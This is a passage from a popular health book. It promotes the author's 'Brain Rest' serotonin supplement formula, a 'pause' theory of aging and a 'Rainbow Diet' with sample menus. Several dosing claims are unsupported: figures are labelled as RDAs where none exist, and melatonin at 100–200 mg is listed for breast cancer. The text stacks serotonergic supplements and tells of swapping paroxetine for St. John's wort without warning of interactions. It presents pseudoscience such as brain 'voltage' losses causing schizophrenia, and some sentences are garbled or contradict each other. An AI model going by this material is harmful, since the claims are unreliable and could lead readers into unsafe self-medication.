I have developed a unique serotonin supplement formula, called Brain Rest. This formula contains thiamine, niacinamide, folic acid, vitamin B12, pantothenic acid, 5-hydroxytryptophan, and St. John's wort. Niacin is the best-studied vitamin for reducing cholesterol, but a variant called niacinamide is also used for mood stabilization and treatment of depression and alcoholism. This formula promotes brain-mind-body connectedness and balance among the four main brain rhythms: beta, alpha, theta, and delta. It is helpful for decreasing the symptoms of insomnia, sleep disorders, backache, headache, shortness of breath, PMS, and phobias. Adequate brain rest can get you the Edge Effect: a cascade of wellness, serenity, and physical health.
As with medications and hormones, specific serotonin conditions are more responsive to certain supplements, listed below. The recommended daily allowance (RDA) for each is in parentheses, if known.
_Attention deficit, sleep disorders, and concentration problems:_ 5-hydroxytryptophan (100–500 mg.)
_Breast cancer:_ melatonin (100–200 mg.)
_Constipation:_ magnesium (400–1,000 mg.)
_Depression:_ tryptophan (500–2,000 mg.), St. John's wort (none established)
_Difficulty metabolizing tryptophan:_ B6 (100–500 mg.)
_Insomnia:_ melatonin (1–3 mg. before age forty; older patients can take up to 6 mg.)
_Low mood or blues:_ fish oils (none established), zinc
_Weight loss and appetite control:_ hydroxycitric acid (250–1,500 mg.)
BRAIN REST (SUGGESTED DAILY SUPPLEMENTAL DOSES)
| Minor | Moderate | Severe
---|---|---|---
| Deficit (0–5) | Deficit (6–15) | Deficit (15+)
Calcium | 500 mg. | 750 mg. | 1,000 mg.
Fish oils | 500 mg. | 1,000 mg. | 2,000 mg.
5-HTP | 100 mg. | 200 mg. | 400 mg.
Magnesium | 200 mg. | 400 mg. | 600 mg.
Melatonin | 1/3 mg. | 1/2–2 mg. | 1–6 mg.
Passionflower | 200 mg. | 500 mg. | 1,000 mg.
Pyridoxine | 5 mg. | 10 mg. | 50 mg.
SAM-e | 50 mg. | 100 mg. | 200 mg.
St. John's wort | 200 mg. | 400 mg. | 600 mg.
Tryptophan | 500 mg. | 1,000 mg. | 1,500–2,000 mg.
Zinc | 15 mg. | 30 mg. | 45 mg.
To support his serotonin, so that we could eventually take him off trazodone (Desyrel), we started Tom on melatonin supplements. We later added St. John's wort and fish oils, which would, in time, replace the paroxetine (Paxil).
**LIFESTYLE**
A serotonin-nature diet with supplements is part of a healthy lifestyle that can tether you so you don't completely drift away. Additionally, be sure to include regular aerobic exercise. Exercise is important for the serotonin nature because it resets the brain just as sleep does. Use the exercise in the GABA chapter as a starting point. Because serotonin natures enjoy physical activity, try different ways to modify the exercise to changes things around for you. Make sure that no matter what type of aerobic activity you pick, you keep it up for at least thirty minutes three times a week. If you need to be around people in order to motivate you to exercise, join a gym.
The risk of the serotonin nature is that while you're so focused on enjoying yourself today, you don't consider how you will feel tomorrow. So while you don't have to become something you're not, a squirrel saving acorns for winter, you do have to learn that you can't do everything you want all of the time! You'll never be in danger of becoming a hermit. But let someone else be the life of the party once in a while, so you'll be around—in mind and body—to enjoy all the parties.
A serotonin nature can always stand a little introspection. Adding spirituality to your activity-laden days—whether in the form of prayer, meditation, yoga, or chanting—would establish your connection to something other than yourself. A feeling of peace and calm allows your brain some time to rest, to restore itself while awake.
**EXERCISE: MEDITATION THROUGH CHANTING**
A chanting exercise is great for a serotonin nature: it shuts your thinking pattern off, blocks negative thoughts, and slows the mind and body down in order to resynchronize. With a chanting meditation, you can get all of the advantages of sleeping while you are awake. The following exercise is a simple rhythmic chant. Follow the directions until you know this chant by heart. Then feel free to play around with your own internal message.
Lie on the floor in a room with a comfortable temperature. Don't lie in bed or relax on the couch: you are not supposed to fall asleep! Set a timer for five minutes and relax.
Close your eyes. Inhale through your nose as much air as your lungs can hold. Hold for a count of two, and then forcefully release all of the air in your lungs. Repeat for a total of five deep breaths.
Clear your mind of all extraneous thoughts. With your eyes still closed, say the following phrase aloud: "Life is the sum of its parts. I deserve to be healthy and happy." Repeat the phrase slowly, over and over, following the same cadence, until the timer rings.
Open your eyes. Again inhale through your nose as much air as your lungs can hold. Hold for a count of two, and then forcefully release all of the air in your lungs. Repeat for a total of five deep breaths.
**ENVIRONMENT**
Your serotonin balance is particularly sensitive to the adverse effects of PCBs, pesticides, and certain chemicals found in plastics, because the neuron damage caused by exposure to these hazards can make you unable to rest. Rinse all of your food, especially fruit, thoroughly. Be observant about pesticide spraying if you live near or visit farms. Never go near burning plastics. As for PCBs, be cognizant of where your fish comes from, opting for wild fish whenever possible, and drink water only from reputable bottlers or after it has been filtered. Bearing in mind warnings about mercury in fish, try to avoid the following: Atlantic halibut, king mackerel, Gulf Coast oysters, pike, sea bass, shark, swordfish, tile fish (golden snapper), and tuna (steaks and canned albacore).
**GETTING INTO BALANCE**
Anticipating everything you do with excitement, and deriving enjoyment in the doing, is a marvelous approach to life. Sensing what's in front of you, and coordinating your body to respond in the moment, is the key to your serotonin nature. With the tools now at your disposal, you're free to restore your edge.
All of Tom's conditions could be traced to the disturbed symmetry in his brain—a serotonin imbalance. It would take some time to get Tom's weight back to normal, but he didn't have to wait long to feel better. I adjusted his medication at his initial office visit, and within days he was able to sleep peacefully. Treating his depression quickly took the edge off his nervousness. His breathing returned to normal, and his excessive sweating disappeared within two weeks.
Within a month, Tom didn't have to tell his friends he was feeling better—they could see for themselves when he started dropping by again to tell a few jokes and share a laugh. After two months, all of the elements of Tom's treatment program were contributing to regaining his serotonin balance, and he was able to stop taking the trazodone (Desyrel) and paroxetine (Paxil).
Tom's dietary discipline has returned dividends, too—conscientiously staying away from simple carbohydrates and alcoholic beverages, he lost forty pounds and looks great. He's popular once again with his associates and friends. He's got a new girlfriend—and he's actually looking forward to a steady and deepening relationship. He has no reason to think about sexual dysfunction anymore: he's got staying power and control over his ejaculations.
Tom understands that life isn't an unending party. But he can enjoy every day as long as he listens to his body when it tells him his brain needs adjustment. And now he knows how to balance his serotonin without getting himself into trouble.
By following these suggestions, you too can balance your serotonin nature, and restore yourself to full and abundant health.
PART III
BALANCING YOUR BRAIN IN SICKNESS AND HEALTH
THE BRAVERMAN PRESCRIPTION
NOW THAT YOU have identified your nature and your deficiencies, you can begin to take control of your total health. In the previous sections you learned how your brain works and how to identify your nature and your deficiencies, and you were introduced to a variety of techniques and treatments that can build up a biochemical deficiency or maintain your nature. In this section you will learn how to deal with specific illnesses or symptoms you may be experiencing, both in the brain and in the body. In this way you can control your health now and create abundant health for your future by reaching the full Edge Effect.
The good news is that life expectancy is on the rise. The population's average age is rising, and now there are more senior citizens than ever before. A child born in 1997 can expect to live at least 76.5 years, 29 years longer than a child born in 1900. A man who reaches age sixty-five in 2004 can expect to live an additional 15.8 years, and a woman can expect to live an additional 17.6 years.
The goal for all of us then becomes learning how to take control of our aging process so that we can enjoy lasting health. Healthy aging is associated with an increased degree of brain function. To achieve this, we must learn how to balance and enhance our brain.
This chapter outlines what I call the Braverman Prescription. This prescription contains all of the information you need to be able to take control of the aging process right now and to achieve lasting health. It includes a general understanding of how your body ages, a simple eating plan that anyone can follow, and detailed instructions on how to enhance brain function. By understanding your true nature and following these three simple guidelines, you can halt premature aging and fully enjoy the rest of your life.
Whether or not you are currently experiencing symptoms, the path to total health should begin with a complete physical with a board-certified doctor. You can be a proactive part of your treatment by informing your physician about the results of your Braverman Nature Assessment. Let your doctor know about your nature and your biochemical deficiencies, and work with him or her to put together a treatment program that is best for you.
**THE PAUSE MODEL
OF AGING AND DISEASE**
There's no way around it—you begin aging the moment you're born, and the process doesn't stop until you die. But the problems we associate with aging are in large part the result of declines in our body's production of hormones as we grow older, and the problems that these cause for our body's electrical signals and the four main neurotransmitters, dopamine, GABA, acetylcholine, and serotonin. When hormone levels get too low, aging accelerates, and your body can function as though it's far older than your chronological age. If you're deficient in acetylcholine, you lose brain speed and your brain ages faster than the rest of your body. You might be only sixty-five, but you could experience loss of memory that would be comparable to that of a ninety-year-old.
I refer to these hormonal changes as _pauses._ The concept of pauses is based on the idea of menopause, the hormonal changes faced by every aging woman. Because hormones regulate all of the systems in the body, this experience can be related to all organs and systems of both men and women.
If a doctor knows a patient's biochemical nature and is able to identify which particular pause a patient is experiencing—which primary neurotransmitter there's a deficit in—she can treat symptoms and illnesses most efficiently. Furthermore, with this information, a doctor can estimate the rate at which a patient's system is aging and determine what needs to be addressed in order to slow down the process.
New studies suggest that the brain can be taught to reignite these hormone systems and actually resurrect your aging body. I have seen this countless times in my office. For example, a thirty-year-old man came in with the beginning stages of andropause, commonly referred to as male menopause. His symptoms included fatigue and a decreased libido, both of which most men do not experience until they are in their seventies. By balancing his acetylcholine nature with growth hormone and a nature diet, we lowered his cholesterol, and his testosterone actually increased! By following our plan, this man was able to delay the progression of andropause, and his life returned to a more normal, age-appropriate state.
The body undergoes various pauses from head to toe. Many of them parallel emotional changes, the most typical being a "mid-life crisis." By age fifty, most individuals have gone through at least one, if not several pauses. Even by age forty, partial pauses can have significant impact on an individual's well-being, energy, and total health. Fortunately, hormonal levels are easy to assess with simple blood tests. Be sure to ask your doctor for the appropriate tests based on your age.
PAUSE | DECLINE | TYPICAL AGE OF ONSET
---|---|---
Electropause | Electrical activity of brain waves | 45
Biopause | Neurotransmitters | Dopamine: 30
Acetylcholine: 40
GABA: 50
Serotonin: 60
Pineal pause | Melatonin | 20
Pituitary pause | Hormone feedback loops | 30
Sensory pause | Touch, hearing, vision, and smell sensitivity | 20–40
Psychopause | Personality health and mood | 30
Thyropause | Calcitonin and thyroid hormone | 50
Parathyropause | Parathyroid hormone | 50
PAUSE | DECLINE | TYPICAL AGE OF ONSET
---|---|---
Thymopause | Glandular size and immune system | 13/puberty
Cardiopause/ vasculopause | Blood flow, increase in blood pressure | 40
Pulmonopause | Lung elasticity and function with increase in pulmonary pressure | 50
Adrenopause | DHEA | 30–60
Nephropause | Erythropoietin | 40
Somatopause | Growth hormone | 30–50
Gastropause | Nutrient absorption | 40
Pancreopause | Blood sugar level | 40
Insulopause | Glucose tolerance | 40
Andropause | Testosterone in men | 40–50
Menopause | Estrogen, progesterone, and testosterone in women | 30–55
Osteopause | Bone density | 30
Dermopause | Collagen, vitamin D synthesis | 35
Onchopause | Fingernails, toenails | 40
Uropause | Bladder control | 45
Genopause | DNA | 40
**THE PAUSES AND STRESS**
A person whose pauses begin sooner than they should is probably under great stress. Such a person might end up with dermopause at thirty, while others who are less stressed will not begin this pause until age fifty. In high-stress regions in United States, such as New York City, a greater number of men die at sixty-five than is the case in Hawaii, where the average male lives to the age of seventy-seven.
When brain stress is high, hormonal imbalances start very early on. Pauses progress more quickly, and imbalances feed each other as total health breaks down. We slide downhill faster and faster, especially if our brain isn't in good shape to begin with. For example, I have met with women in their thirties who are already experiencing perimenopause, the series of changes that culminates in menopause. Changes in progesterone make them cranky and moody and increase the severity of PMS. Imbalances in their estrogen/progesterone ratio cause early hypertension and panic disorders and eventually will lead to cardiac problems.
**DELAYING THE PAUSES**
By jump-starting the brain into health through medication, hormonal and vitamin supplements, diet, and exercise, we can cause our body's hormonal levels to rise, delaying the aging process. While you can't stop a genetically programmed pause, such as menopause, by increasing your body's production of estrogen, you may be able to delay it a year or two, or possibly more, and you can certainly prevent it from occurring too early.
In the discussions that follow, you will learn which of the four major neurotransmitters is involved in each of the pauses and what you can do to balance your body and delay onset of the pause. The earlier you begin to deal with hormone loss, the better results you are going to get.
For treatment instructions, please refer to the chapters in Part II that discuss each of these biochemicals in detail. If your symptoms are mild, you can begin by altering your diet or lifestyle by incorporating the various biochemical programs. If your symptoms are more than moderate, read through the information pertaining to various medications and hormone treatments, and then seek help from a physician.
**PAUSES OF THE BRAIN**
**ELECTROPAUSE**
Electropause is the change in brain chemistry that affects brain function. Electropause is influenced by changes in the brain's voltage, speed, rhythm, and synchrony. Symptoms include loss of memory, loss of emotional balance, depression, anxiety, personality disorders, mood swings, and in extreme cases psychosis. I divide these losses into the four biochemical categories: decreases in brain voltage can be directly related to dopamine, decreases in brain speed are related to acetyl-choline, decreases in brain rhythm are related to GABA, and an unsynchronized brain is related to serotonin.
CONDITION | BRAIN AGE | BIOLOGICAL AGE
---|---|---
Alzheimer's | 120 | 60
Parkinson's | 95 | 70
Attention deficit disorder | 50 | 7
VOLTAGE | RESULTING CONDITION |
10 percent decrease | Blues |
30 percent decrease | Obesity |
70 percent decrease | Addiction |
90 percent decrease | Schizophrenia/dementia |
**BIOPAUSE**
Brain aging and deterioration—measured by losses in the brain's voltage, speed, rhythm, and synchrony—regulate all of the other pauses.
Biopause is responsible for the cascade of all the other pauses and their related illnesses and symptoms. In terms of your total health, biopause is probably the most important pause to delay. By balancing the levels of all of your neurotransmitters, you will be able to put off the biopause and increase your chances of long-term health. As an added benefit, when you enhance your levels of these same neurotransmitters enough to delay biopause, you'll also achieve the Edge Effect.
**PITUITARY PAUSE**
The pituitary pause affects the pituitary gland and hypothalamus. The secretion of growth hormone declines between the ages of thirty and fifty, causing muscles to shrink and fat to increase. Other symptoms include anorexia, compulsive water drinking, sleep rhythm reversal, rage behavior, hallucinations, and obesity. Keeping the brain youthful and more energetic by boosting acetylcholine and dopamine might contribute to slowing this genetically programmed hormonal loss.
**SENSORY PAUSE**
Sensory pause affects all five of your senses. Hearing begins to decline between the ages of twenty and forty and worsens faster in men than in women. The loss of hearing impairs cognition as well as your overall mental health. Nutrients such as zinc and niacin can help, and certainly keeping the brain young by boosting your acetylcholine and dopamine is recommended. Your sense of smell declines slowly beginning around the age of forty, and more rapidly after sixty-five. Since olfactory cells are actually part of the brain tissue, a deficiency in any of the primary biochemicals, especially acetylcholine, may lead to this problem. Increased difficulty seeing nearby objects begins in the forties. Ability to see fine details does not deteriorate until the seventies. The loss of vision impairs cognition as well as your overall mental health. Nutrients, particularly antioxidants, have been shown to slow a variety of sight disorders. Acetylcholine and dopamine are most significant for sight health.
**PSYCHOPAUSE**
Worldwide studies of older adults have documented a 15 to 25 percent prevalence of serious mental disorders that first occur later in life. Organic mental disorders such as Alzheimer's disease and related dementias affect approximately 10 percent of persons older than sixty and as many as 50 percent of those older than eighty-five. While neuropsychiatric conditions can occur at any age, the elderly have particularly high rates of alcohol and substance abuse, dysthymia and depression, anxiety, schizophrenia, and personality disorders.
Decreased cognition results from decreased acetylcholine. An increase in the blues occurs due to decreased dopamine and serotonin. Overall personality disorders worsen if there is a decrease in GABA production. Anxiety increases when there is decreased GABA, when synchrony is reduced from the loss of ability to manage sleep cycles. The symptoms listed on the next page are signs of psychopause. If you are experiencing any of these, see a doctor immediately.
PHYSICAL SYMPTOMS OF PSYCHOPAUSE
Abnormal sense of smell
Allergies to peanuts, walnuts, or bananas
Autonomic hyperactivity
Backache, headache
Butterflies in the stomach
Chest pain or discomfort
Cold or clammy hands
Coughing, choking
Diarrhea
Difficulty swallowing
Dizziness or light-headedness
Dry mouth
Fatigue
Flushing and pallor
Muscle tension, aches, or soreness
Numbness or tingling
Sexual dysfunction
Shortness of breath, hyperventilation
Sleep disorders
Sweating
Tachycardia, palpitations
Trembling, twitching, feeling shaky
Urinary dribbling, incomplete bladder emptying
PSYCHOLOGICAL SYMPTOMS OF PSYCHOPAUSE
Decreased libido
Depersonalization or derealization
Difficulty concentrating
Fear of people or social events
Feeling of dread
Hypervigilance
Rage, extreme temper
Restlessness
SIGNS AND SYMPTOMS OF DYSTHYMIA (LOW MOOD) OR DEPRESSION
Cognitive problems (difficulty paying attention, memory disturbance)
Decreased desire for food or sex
Decreased involvement in usual activities
Decreased physical activity (psychomotor retardation)
Difficulty getting through routine tasks
Increased physical activity (psychomotor agitation)
Insomnia, early-morning awakening, or oversleeping
Loss of vigor or energy
Self-destructive thoughts
SIGNS AND SYMPTOMS OF DEMENTIA
Failure to recognize and identify familiar objects despite intact sensory function
Impaired attention and overall decline in processing speed
Impaired judgment
Impairment in abstract thinking
Language problems (aphasia)
Motor skill problems despite physical capacity
Significant impairment of short-term and long-term memory
**PAUSES OF THE BODY**
**THYROPAUSE**
The thyroid gland synthesizes the hormones thyroxine (T4) and triiodothyronine (T3), iodine-containing amino acids that regulate the body's metabolic rate. Adequate levels of thyroid hormones are necessary in infants for normal development of the central nervous system, in children for normal skeletal growth and maturation, and in adults for normal function of multiple organ and systems. Thyroid hormones increase the activity of membrane-bound enzymes, increase heat production, and stimulate oxygen consumption. Thyroid hormones also affect tissue growth and maturation, help regulate lipid metabolism, and increase intestinal absorption of carbohydrates. Thyroid hormones and dopamine have similar chemical structures, and influence one another.
**SIGNS AND SYMPTOMS OF HYPOTHYROIDISM**
Ankle edema
Cold, dry, thick, scaling skin; dry, coarse, brittle hair; dry, longitudinally ridged nails
Cold intolerance
Constipation
Diminished food intake or weight gain
Diminished libido
Generalized muscle weakness; delayed relaxation of deep tendon reflexes
Lethargy, decreased vigor
Mental clouding, depression
Normal or faint cardiac pulse; indistinct heart sounds; cardiac enlargement
Round puffy face, slow speech; hoarseness
Slow thinking
**THYMOPAUSE**
Beginning at puberty, your immune response declines slowly. Serotonin regulates the immune system, and serotonin agents can boost immunity, but an excess of serotonin can trigger arthritis. Dopamine agents also regulate the immune system but can consequently suppress autoimmune reactions.
**CARDIOPAUSE**
After age forty, many people experience up to a 20 percent decline in maximum heart rate during exercise because the heart becomes less responsive to dopamine and estrogen stimulation from the nervous system. Surprisingly, symptoms can include memory loss and anxiety. Cardiopause can be controlled via exercise, diet, and maintaining a youthful and less anxious GABA brain. By building up all of your natures and sleeping adequately, you are less likely to make wrong choices about behaviors that are destructive to the heart.
**VASCULOPAUSE**
Vasculopause affects your blood vessels and usually occurs around age forty. As the diameter of vessels narrows and the arterial walls stiffen, there can be a 20 to 25 percent increase in systolic blood pressure. Anxiety and a deficit of GABA are particularly destructive to blood vessels, because during a state of anxiety, your blood vessels will tense up. Getting adequate rest is a significant treatment, as is boosting your serotonin levels so that you can relax. All of the brain's biochemicals can ultimately impact blood flow throughout the entire body. Increased dopamine and aerobic exercise can strengthen the vascular system; increased acetylcholine keeps blood vessels flexible.
**PULMONOPAUSE**
Starting at the age of fifty, and definitely by seventy, most of us will lose up to 40 percent of our maximum breathing capacity. Pulmonary function is a strong predictor of overall longevity. Anxiety, stress, and exposure to various chemicals in the air contribute greatly to the deterioration of the lungs. Building up all of your biochemicals, particularly GABA, will have a great impact on lung longevity. Aerobic exercises can also help develop greater lung capacity.
**ADRENOPAUSE**
Between the ages of thirty and sixty, the adrenal glands' secretion of DHEA—which slows the growth of cancers and boosts immunity— declines. After age seventy, production of the stress hormone cortisol soars. Symptoms can include changes in memory and attention, depression, lack of energy, loss of libido, irritability, anxiety, panic attacks, paranoia, and increased appetite. Supplementation of hormones and nutrients and even hydroxycortisone may help. Although this pause is genetically programmed, building up the brain maintains the entire hormonal and nutritional component of the body. The adrenal gland is supplemental tissue to the brain's dopamine and adrenaline, and therefore it is less likely to kick in and burn out if your dopamine is kept high.
**SOMATOPAUSE**
Twenty to 40 percent of muscle mass can be lost by the age of ninety, especially if you do not exercise. Symptoms can include loss of memory, mental faculty, and muscle strength. Routine exercise is the best way to prevent most muscle loss. Growth hormone and amino acids may be beneficial. While boosting all the brain's biochemicals can help, dopamine is the most stimulating to muscle growth. GABA reduces tension, so when you are balanced your muscles don't hurt. Acetylcholine keeps your muscles from drying out.
**MENOPAUSE (MALE AND FEMALE)**
The first hormonal changes that lead to menopause can occur in women as early as thirty-five, and these can last ten to fifteen years. For women over the age of fifty, there is a dramatic decline in production of progesterone and testosterone. Estrogen starts to decrease earlier, around the age of thirty. What's astonishing to me is that I am seeing bone density loss in so many patients as young as eighteen. Other symptoms include loss of memory and other cognitive deterioration, as well as hair thinning and loss. Early supplementation with natural hormones and vitamins that boost GABA and dopamine might diminish the negative impact on the bones, the brain, and the hormones it produces. Male menopause, or andropause, typically _begins_ in men between forty and fifty. Male menopause progresses slowly, over thirty years as testosterone supplements are increased.
**OSTEOPAUSE**
Bones begin to weaken after age thirty, which can lead to osteoporosis, especially in women. Hormones, calcium, and other nutrients may help. Although this is primarily a hormonal problem, the younger the brain and body are, the better the absorption of nutrients and hormones that are used to treat this. Therefore, boosting your acetylcholine and dopamine levels becomes critical to osteopause treatment, as long as the boost in these two biochemicals does not make you feel too edgy.
**DERMOPAUSE**
Changes in collagen and connective tissues cause skin to lose elasticity in later years. The rate at which skin ages is frequently genetic, relating to its ability to retain moisture. Yet the younger your brain is, the less your whole body dries out. Since the brain dehydrates with age, boosting dopamine and acetylcholine is very important—after all, acetylcholine is the moisturizer for the entire body. Topical medications such as Retin-A and maintaining a healthy diet can also help.
**KEEPING THE PAUSES
FROM CONTROLLING YOUR BRAIN**
As you can see, keeping your brain young and vibrant delays the onset of these pauses and hence slows down the aging process. Conversely, experiencing any of the pauses can throw your brain off, because an unhealthy body can wear down the brain. For example, the metabolic slowdown experienced in thyropause can actually decrease further dopamine production. By controlling the health of your body you can better protect your brain.
Virtually any physical disease or pause may produce anxiety and brain rhythm disturbances that wear out the brain. For example, andropause or any other pause accelerates electropause. When the brain burns out during biopause, the whole cycle of pauses begins.
Another example involves our immune system. When immunopause begins, the entire immune system slows down. As this occurs, osteoarthritis and joint wear and tear become more likely. Attempts to strengthen your joints with growth hormone and glucosamine are critical because a brain that is constantly in pain from arthritis or even minor joint problems wears itself out.
Toxic metals accelerate all pauses—this remains a very serious problem in our society. Heavy metals such as lead and cadmium are toxic to the brain and body and exist in many forms. For example, I often see individuals with elevated lead levels despite the fact that lead has been removed from gasoline and paint. Elevated lead levels are often found in psychiatric syndromes such as bulimia, psychosis, depression, and lupus. Elevated cadmium levels are common in smokers or people who live around smokers, and contribute to high blood pressure. Also, elevated copper levels contribute to depression. Elevated mercury levels may occur in some individuals who have problems with dental fillings. Aluminum has been implicated in memory loss.
**THE RAINBOW DIET**
One of the simplest ways to maintain your neurotransmitters, and subsequently slow down the pauses, is through your diet. In the nature chapters, there were specific diets recommended for boosting each of the biochemicals. The basic nature diet strategy to remember is that dopamine is boosted by a high-protein diet with fruit sugars; eggs, caviar, sardines, fish oils, and olive oil all raise acetylcholine. GABA is increased with vegetables, and serotonin is boosted by poultry and complex carbohydrates.
If you want to boost all of your biochemicals and achieve total health, you need to follow a program that incorporates all the nature-specific diet recommendations and adds essential nutrients as well. I advise my patients to follow what I call the Rainbow Diet. This diet will help you lose weight, lower your blood pressure, and improve your cholesterol profile. You will feel young, energetic, and—most important of all—healthy.
The Rainbow Diet incorporates all the different colors of the rainbow—red, orange, yellow, green, blue, indigo, and violet—into the meals we eat. Foods with a variety of colors have different nutrients, and no one supplement is equal to all the great nutrients you can get from fresh foods. These foods—fruits, vegetables, proteins, and complex carbohydrates—can be used in order to achieve your optimal weight results and improve your overall health.
As you know, the rainbow has seven colors, but it does not have any white! On the Rainbow Diet, "white" foods are avoided. These include white flour and foods made from it, such as bread and pasta; white rice; butter and margarine; and salt and refined sugar. White flour, white rice, and sugar are bad choices because they don't have much nutritional value and also have a high glycemic index, which means that during digestion they break down quickly into simple sugars and are easily stored as body fat. These foods increase your risk for heart disease, constipation, obesity, and even some cancers. Butter and margarine are both harmful to cardiovascular health—butter because of its saturated fat, and margarine because of the trans fats it contains. And of course we all consume too much salt.
CRITERIA OF THE RAINBOW DIET
Very high in vegetables of all colors, 4–6 servings a day
High in fruits of all colors, 4–6 servings a day
Multicolored spices 3 times a day
Multiflavored herbal teas 3 times a day
Very high in fiber-rich whole grains
Low in saturated fat and cholesterol
Low in trans fats
Low in sodium
Low in refined grains
Low in unhealthy oils
Low in sugar-rich foods and beverages
Moderate in low-fat proteins, 2 servings a day
**GOALS FOR THE RAINBOW DIET**
At each meal, try to eat 80 percent fruits, vegetables, and grains and 20 percent protein food. Your protein should be fish as much as possible, but can also include chicken, turkey, and beans. Stay away from red meat and fried foods. Eat garlic, as it promotes healthy blood flow. Avoid caffeinated beverages, especially if you have high blood pressure. Take a multivitamin with minerals, antioxidants (especially vitamin C, vitamin E, and zinc), linoleic acid, and coenzyme Q10.
Eat less saturated fat to avoid cholesterol problems. Saturated fats are found in many foods, including fatty meat, whole milk, most cheeses, ice cream, butter, lard, coconut oil, and palm oil. These foods directly contribute to increasing your cholesterol more than anything else you eat. Eating less fat will also help you eat fewer calories and keep your weight down. Losing extra weight can lower your cholesterol, too. Choose low-fat or fat-free cheeses, sour cream, and yogurt. The fats you do eat should be healthy ones—olive oil is an excellent choice, as it contains monounsaturated fatty acids, which are proven to lower cholesterol and improve overall lipid profile.
Use herbs, salsa, and spices instead of rich sauces, gravies, and extra salt. Bake, broil, boil, or steam foods. If you cook with fat or oil, use just a little or, better yet, none at all. Try nonstick pans and cooking spray. Trim the fat from meat before cooking.
Choose foods high in fiber such as fresh vegetables and fruits, which level off blood sugar. Do not skimp on protein and fat to make room for larger amounts of carbohydrates. Protein and fat give the body energy, help balance blood sugar, and keep cravings at bay. If you eat sweets on an empty stomach, you'll experience blood sugar surges followed by lows that trigger the desire for more sweets or carbohydrates.
**TIPS FOR HEALTHY EATING**
First and foremost, do not overeat. Use a measuring cup, measuring spoons, or a food scale to find out how much you are eating and what your serving sizes are. Write down what you eat and how much you eat. If it looks like too much, it probably is. Most people are surprised by how much they eat once they weigh or measure out their meals.
Another good tip is to always eat to lose weight, even if you don't think you should be dieting. If you weigh more than is recommended, your body stores fat, which may cause your cholesterol to increase; this can start a whole cascade of problems. Cut calories by eating smaller amounts of food. Do not skip meals; just eat a little bit less. Eat more slowly; take time to taste and enjoy your food. Help your pancreas to work better by keeping your blood sugar stable—frequent meals help maintain a balance of pancreatic hormones necessary for consistent and ongoing fat release.
Your body gets hungry every three to five hours. Impulse bingeing is usually a result of poor planning. If you eat at regular times every day and without going too long between meals, you will be less likely to overindulge. So always have three meals a day with two healthy snacks in between. People who snack between meals find it easer to lose weight because they actually take in fewer calories during their three main meals. Typically, bad snack foods are low in nutrients, high in sugar, high in fat, or contain refined carbohydrates, inhibiting the optimal fat loss environment. Even healthy snacks such as fruits can, when eaten by themselves, spike blood sugar and insulin levels. So rather than a muffin, which is full of sugar and refined white flour, consider a piece of whole-grain bread with one slice of turkey breast, a tomato slice, and spinach. Walnuts and almonds are a good snack choice in small quantities.
Supplement your diet with an antioxidant formula. A quality formula contains vitamin C, vitamin E, zinc, and other substances that neutralize free radicals, which can cause cellular damage if left uncontrolled. Lastly, make sure to get enough sleep. When the body and mind are well rested, cravings for carbohydrates often vanish.
**RAINBOW DIET SAMPLE MENUS**
Here are sample menus with many choices for each meal. You can mix and match any breakfast with any lunch and any dinner. Always have a drink with your meal. Try freshly squeezed orange or grapefruit juice, caffeine-free green tea, herbal tea, skim or soy milk, or water or no-salt seltzer with lemon. Use sugar substitutes if necessary.
**BREAKFAST**
_Choice 1:_ 1 or 2 soft-boiled or poached eggs with olive oil, balsamic vinegar, and a pinch of cayenne pepper
_Choice 2:_ Fat-free plain yogurt with berries and walnuts, almonds, or pumpkin seeds
_Choice 3:_ Omelet with some cut-up vegetables sprinkled with turmeric (made in a nonstick pan)
_Choice 4:_ Bran oatmeal with nuts, berries, and unsweetened soy milk
_Choice 5:_ Pink grapefruit (sweeten with sugar substitute), 1 poached egg, and fresh spinach leaves
_Choice 6:_ Caesar salad with 1 boiled egg, spinach, celery, carrots, and 4 oz. fresh turkey or chicken dusted with paprika
_Choice 7:_ 1/2 cup cantaloupe, 1 slice whole-wheat toast with 1 tablespoon almond butter, 1 cup nonfat yogurt
_Choice 8:_ 1/4 cup egg whites scrambled with 1/2 cup veggies, 2 tablespoons olive oil, and a pinch of cumin, with 1 slice whole-wheat toast
_Choice 9:_ 3/4 cup bran flakes with 1/2 cup skim milk and 1/2 cup berries, 1 whole-wheat English muffin
_Choice 10:_ 1 small whole-wheat bagel or 1 whole-wheat English muffin with 1 tablespoon low-fat cream cheese, dusted with allspice
_Choice 11:_ 1 multigrain waffle or 2 whole-wheat waffles with 1/2 cup raspberries
_Choice 12:_ 1 multigrain waffle or 2 whole-wheat waffles with 1/2 cup mixed berries
_Choice 13:_ 1 slice whole-wheat toast with olive oil and seasonings
_Choice 14:_ 1 cup bran flakes with 1 cup skim milk and 1 cup berries
_Choice 15:_ 1 cup berries, 2-egg omelet with 1/2 cup vegetables, seasoned with fresh sage
**LUNCH**
_Choice 1:_ 4–6 oz. warm sardines with 1 tablespoon pesto or olive oil with balsamic vinegar and seasonings, 2 cups multicolored lettuce salad with garlic safflower oil dressing
_Choice 2:_ Tuna (mixed with olive oil, balsamic vinegar, and coriander) on whole-wheat bread
_Choice 3:_ Rainbow salad—lots of different-colored vegetables with 1 hard-boiled egg and 1 slice low-fat cheese, dressed with olive oil, balsamic vinegar, parsley, and thyme
_Choice 4:_ Piece of baked chicken, spinach salad dressed with 2 tablespoons olive oil, basil, dill, and a splash of vinegar
_Choice 5:_ 6 oz. salmon with herbs, 1 cup salad dressed with olive oil and lemon juice
_Choice 6:_ 1 bowl chicken soup made with whole-wheat pasta, seasoned with rosemary
_Choice 7:_ 2 cups yogurt mixed with handful of nuts, berries, and other low-glycemic-index fruits
_Choice 8:_ Turkey, chicken, or fish served with steamed vegetables, seasoned with freshly grated ginger
_Choice 9:_ 1 cup vegetable soup, sandwich of 1 slice low-fat cheese, 2 slices tomato, and mustard on 2 slices whole-wheat caraway-seeded bread
_Choice 10:_ 11/2 cups spinach salad with 3 oz. skinless chicken breast, seasoned with marjoram, 1 tablespoon olive oil, and 1 tablespoon vinegar
_Choice 11:_ 2 slices turkey breast, 1/4 cup sprouts, 3 slices tomato, and mustard on whole-wheat pita, 1/4 cup apricots
_Choice 12:_ 1 cup salad with 11/2 cup garbanzo beans, 1 cup yellow corn, 1 oz. walnuts, 2 tablespoons olive oil, and 1 tablespoon vinegar
_Choice 13:_ 2 slices turkey or beef, 1 slice low-fat cheese, lettuce, 3 slices tomatoes, mustard on 2 slices whole-wheat bread, 1 piece fruit
_Choice 14:_ 2 oz. water-packed tuna, 2 slices tomato, 2 leaves lettuce, and 2 tablespoons mustard on 2 slices whole-grain bread, 1 orange
